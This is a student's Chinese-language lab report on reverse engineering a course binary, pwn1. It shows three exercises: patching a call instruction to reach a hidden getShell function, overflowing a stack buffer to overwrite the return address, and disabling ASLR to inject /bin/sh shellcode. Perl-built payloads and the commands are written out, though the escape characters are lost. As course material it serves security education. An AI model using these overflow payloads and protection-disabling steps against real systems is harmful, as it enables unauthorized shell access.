2019-2020-2 20175216《网络对抗技术》 Exp1 PC平台逆向破解
一、逆向及Bof基础实践说明
1、实践目标
本次实践的对象是一个名为pwn1
的linux
可执行文件。
该程序正常执行流程是:main
调用foo
函数,foo
函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell
,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
1、基础知识
1)常用指令:
-
管道(|):
命令格式:命令A|命令B,即命令1的正确输出作为命令B的操作对象(下图应用别人的图片)
-
输入、输出重定向(>):标准输入输出重定向就是为了改变数据流动的方向。很多时候,我们需要从某文件中读取出内容作为输入;或者将结果存到一个文件中。这时,数据输入方向:从文件到程序;数据输出方向:从程序到文件。
类型 | 符号 | 作用 |
---|---|---|
标准输入重定向 | command<file | 将file文件中的内容作为command的输入 |
command |
将file1作为command的输入,并将command的处理结果输出到file2 | |
command<<END | 从标准输入中读取数据,直到遇见分界符END才停止。分界符可以是任意字符,用户自己定义 | |
标准输出重定向 | command>file | 以覆盖的方式,把command正确输出结果输出到file文件中 |
command>>file | 以追加的方式,把command正确输出结果输出到file文件中 |
2)NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
- JNE:条件转移指令,如果不相等则跳转。(机器码:75)
- JE:条件转移指令,如果相等则跳转。(机器码:74)
- JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
- CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
3)反汇编与十六进制编程器
-
反汇编指令
objdump -d <文件名>
- object dump 项目导出
- -d disassemble 反汇编
-
十六进制指令为
perl -e 'print "字符/字符串"' > <文件名>
- %!xxd 进入十六进制编辑模式
- %!xxd -r 切换回原模式
二、实验操作及具体步骤
1、直接修改机器指令,改变程序执行流程
1.1从老师码云中下载pwn1.zip
,在kali中解压,并复制文件cp pwn1 pwn20175216
1.2运行可执行文件./pwn20175216
1.2反汇编文件objdump -d pwn20175216
- 第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。
call
的机器指令为e8
为跳转- 执行到call指令,偏移量为
d7 ff ff ff
(小端),eip的值为80484ba
,即下一条指令的地址 - eip=当前eip的值+相对偏移地址 新eip 为
80484ba + d7ffffff = 8048491
- 执行
函数
1.3对计算机机器指令进行修改
改变程序执行 使执行由
<foo>
改变为<getshell>
,所以修改机器指令,使它从指向08048491
改为指向0804847d
,新 eip 为0804847d = 80484ba + 偏移量
,计算得偏移量c3 ff ff ff
。
-
vi pwn20175216 打开文件后为乱码
-
输入
%!xxd
进入十六进制编辑模式,使用/e8 d7
快速找到需要修改的地址
-
修改地址 ,将
d7
改成c3
,然后使用:%!xxd -r
转回原来乱码格式,并保存退出; -
反汇编查看机器指令;
-
./pwn20175216
运行结果
2、通过构造输入参数,造成BOF攻击,改变程序执行流
- 当程序调用时,会形成自己的栈帧,但是
foo
函数的缓冲区具有Bufferoverflow漏洞,即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,当这段字符串精心设计后,就有可能会覆盖返回地址,使返回地址指向getshell
,达到攻击目的。 foo
函数读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址- 正常时
call
调用foo
,同时在堆栈上压上返回地址值0x80484ba
2.1确认输入字符串哪几个字符会覆盖到返回地址
-
用
gdb pwn20175216
调试程序,输入有规律的字符串如1111111122222222333333334444444412345678
,发生错误产生溢出
-
info r
查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址
2.2构造输入字符串
- 把
1234
换成getShell
的地址0x0804847d
- 由于数据按小端存储,我们的正确输入为
11111111222222223333333344444444x7dx84x04x08
因为我们没法通过键盘输入x7dx84x04x08
这样的16进制值,输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
生成包括字符串的一个文件(x0a
表示回车); - 使用16进制查看指令
xxd
查看input文件的内容,确认无误后用(cat input;cat) | ./pwn20175216
将input
中的字符串作为可执行文件的输入。
3、注入Shellcode并执行
3.1准备工作
- 安装
execstack
- 修改设置
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
3.2构造要使用的payload
Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr
- 选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90:
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
-
注入:
cat input_shellcode;cat) | ./pwn20175216
-
打开一个终端查看执行文件进程号
ps -ef | grep pwn20175216
-
启用gdb调试进程,
attach 2087
与进程建立连接 -
输入指令
disassemble foo
对foo
函数进行反汇编。 -
然后设置断点,来查看注入
buf
的内存地址。指令为:break *0x080484ae
-
然后回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令
c
继续。 -
接下来输入指令
info r esp
查看查看栈顶指针所在的位置,并查看改地址存放的数据 -
发现
x4x3x2x1
果然出现在栈顶,就是返回地址的位置。shellcode
就挨着,所以地址是0xffffd31c+4=0xffffd320
-
修改代码
perl -e 'print "A" x 32;print "x20xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
三、实验收获与感想
缓冲区溢出攻击是在信息安全技术中学的,当时也不是很理解,就只记住了他的含义,缓冲区溢出攻击即向缓冲区内填充数据位数时超过了缓冲区本身的容量,破坏程序的堆栈,使程序转而执行其它指令。通过这次实验,对缓冲区溢出攻击也更为了解,同时也发现汇编语言还是挺有用的,当时学的时候,感觉真没啥用,所以汇编还要再复习复习。
什么是漏洞?漏洞有什么危害?
漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。是受限制的计算机、组件、应用程序或其他联机资源的无意中留下的不受保护的入口点。没有绝对完美的程序,每个程序都会有漏洞。
数据库信息泄漏、网页篡改、网站被挂马,传播恶意软件等等